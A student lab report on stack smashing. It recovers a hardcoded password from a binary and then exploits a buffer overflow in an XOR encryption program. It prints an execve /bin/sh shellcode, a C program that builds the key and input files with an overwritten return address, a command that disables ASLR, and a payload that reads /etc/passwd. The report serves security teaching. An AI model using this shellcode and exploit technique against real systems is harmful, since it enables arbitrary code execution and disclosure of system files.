Ferhat Elmas
Przemyslaw Pietrzkiewicz
Javier Martín De Valmaseda Castro

LAB-2 STACK SMASHING

In this lab, firstly we investigated a simple program that is called simple. This program requests a password and compares it to a string in its memory and returns a secret so we did simply

- cat simple

when we navigate in the binary file, we saw a long string “jesuistonperedeadbeef” so we divide string into two parts and tried. When we try “jesuistonpere”, it said congratulations “deadbeef”. This was the first part of lab2.

Secondly, we have a file that simple xors bits of a file with a given key. However, there were some vulnerabilities in this file such as key length can be at most 32 bytes since key buffer is 32 bytes but buffer in the function that does the encryption is 16 bytes so this is our point to accomplish a buffer overflow attack. Moreover, we also control the content of the key. Therefore, firstly we do a web search to find a pretty small shellcode to put into the place of the key. Our shellcode is :

- \x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

it is 21 bytes.

When we disassemble encrypt, we saw buffer starts from 24 bytes below of frame pointer so we need 32 bytes to overwrite return address in do_encrypt function.

- we appended some extra null bytes at the end of shellcode to complete 32 bytes since null is identity element of xor operation.
- in input file, we supplied 21 bytes of null since our shellcode is 21 bytes to prevent it from being changed by xor.
- we got the address of static key variable which was 0x080c80c0, and we supplied it 28-32 byte of input file
- then we added a command for shell to execute when it is started, it was cat /etc/passwd

Since this characters can’t be given from command line, we wrote simple program that makes use of main of the vulnerable.c:

```
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <ctype.h>

char key[32]
= “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
char input[32] =
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\xc0\x80\x0c\x08”;
char command[20] =
“cat /etc/passwd”;
```

```
size_t key_len;
size_t input_len;
size_t command_len;

void do_encrypt(void);

int main(int argc, char **argv) {

	FILE *key_file, *input_file;


	key_file = fopen(“key”,"w"); // we use ‘key’ as a key file
	input_file = fopen(“input”, “w”); // we use ‘input’ as an input file

	fwrite(key, 1, 32,  key_file);
	fwrite(input, 1, 32,  input_file);
	fwrite(command, 1, 15,  input_file);


	fclose(key_file);
	fclose(input_file);
}
```

Before start, we should disable randomization kernel:

- echo 0 > /proc/sys/kernel/randomize_va_space

Execution:

- ./encrypt key <input >output

1. When it is started, it reads key file (which is indeed a shellcode appended some null bytes and writes into key buffer whose address we know) and sets key_lenght variable to 32.
2. When do_encrypt is called, it starts to read 32 bytes from input file (which is indeed null bytes appended the address of the key buffer).
3. Since locals.line buffer is 16 bytes and we try to write 32 bytes into this buffer, it overflows and overwrites return address with the 28-32 bytes of the input file (that is the address of key buffer that contains shellcode)
4. Moreover, once xor operation is done but since while xor, respective bytes are null, their contents don’t change.
5. when function is finished, it pops the address of the key buffer and starts to execute shellcode and reads our command, prints the result to output and returns.

As you can see here, we know the length of the buffers since we can see the source code but when we couldn’t see source code, it would be much harder because we should try to find this from disassembled code, that is quite ugly.

Moreover, there are some OS protections such as NX bit and randomize_vs_space, that prevents us to do exact overflow and execute shellcode but here vm configuration allows us when we close randomization via a simple command (it is written earlier)

As a result what we learnt here is we should always do bound check and OS protection must be open / forced.